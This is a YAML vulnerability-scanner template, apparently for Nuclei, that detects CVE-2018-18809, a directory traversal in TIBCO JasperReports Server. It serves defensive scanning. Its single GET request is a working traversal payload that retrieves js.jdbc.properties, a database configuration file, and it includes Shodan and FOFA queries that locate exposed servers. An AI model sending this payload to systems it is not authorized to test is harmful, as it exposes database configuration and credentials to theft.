id: CVE-2018-18809

info:
  name: TIBCO JasperReports Library - Directory Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    The default server implementation of TIBCO Software Inc.'s TIBCO JasperReports Library, TIBCO JasperReports Library Community Edition, TIBCO JasperReports Library for ActiveMatrix BPM, TIBCO JasperReports Server, TIBCO JasperReports Server Community Edition, TIBCO JasperReports Server for ActiveMatrix BPM, TIBCO Jaspersoft for AWS with Multi-Tenancy, and TIBCO Jaspersoft Reporting and Analytics for AWS contains a directory-traversal vulnerability that may theoretically allow web server users to access contents of the host system.
  impact: |
    An attacker can access sensitive files, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of TIBCO JasperReports Library.
  reference:
    - https://packetstormsecurity.com/files/154406/Tibco-JasperSoft-Path-Traversal.html
    - https://security.elarlang.eu/cve-2018-18809-path-traversal-in-tibco-jaspersoft.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18809
    - http://packetstormsecurity.com/files/154406/Tibco-JasperSoft-Path-Traversal.html
    - http://seclists.org/fulldisclosure/2019/Sep/17
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2018-18809
    cwe-id: CWE-22
    epss-score: 0.93909
    epss-percentile: 0.99882
    cpe: cpe:2.3:a:tibco:jasperreports_library:*:*:*:*:activematrix_bpm:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tibco
    product: jasperreports_library
    shodan-query:
      - html:"jasperserver-pro"
      - http.html:"jasperserver-pro"
    fofa-query: body="jasperserver-pro"
  tags: cve2018,cve,packetstorm,seclists,lfi,kev,jasperserver,jasperreport,tibco,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "metadata.jdbc.driverClassName"
          - "metadata.hibernate.dialect"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100beb2fee333c791ca3872909d72d806bdc426040052b50f684136691d967a7f880221008f1272ce4551bbdbd645aa33d031957759116acf73cb05bf909b68085e66799c:922c64590222798bb761d5b6d8e72950